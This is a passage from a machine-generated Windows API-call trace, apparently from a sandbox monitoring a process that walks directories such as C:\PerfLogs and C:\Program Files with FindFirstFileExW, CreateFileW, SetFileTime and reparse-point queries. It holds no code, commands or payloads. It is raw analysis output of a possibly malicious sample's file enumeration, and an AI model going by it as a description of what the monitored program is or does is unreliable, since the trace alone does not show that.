ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0232.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.050] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.050] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0232.050] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0232.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.050] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0232.050] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.050] NtClose (Handle=0x1a8) returned 0x0 [0232.050] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0232.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0232.050] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0232.050] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0232.051] GetLastError () returned 0x12 [0232.051] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0232.051] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0232.051] GetLastError () returned 0x12 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0232.051] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0232.051] GetLastError () returned 0x12 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0232.051] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0232.051] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0232.051] FindNextFileW (in: hFindFile=0x4fd4a0, lpFindFileData=0x15ffa34 | out: lpFindFileData=0x15ffa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0232.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0232.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x15ff930 | out: lpFileInformation=0x15ff930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0232.052] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0232.052] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.052] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0232.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.052] NtClose (Handle=0x170) returned 0x0 [0232.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af258) returned 1 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af258 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0232.052] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd4e0 [0232.052] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.052] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0232.052] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.052] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.052] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7108 [0232.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0232.053] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9ff083d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff083d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9febc110, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9febc110, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fee2270, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fee2270, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0232.053] GetLastError () returned 0x12 [0232.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff77c) returned 0x4fd460 [0232.053] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.053] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0232.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0232.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0232.054] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0232.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.054] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0232.054] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.054] NtClose (Handle=0x170) returned 0x0 [0232.054] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0232.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0232.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0232.054] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0232.054] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0232.054] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, 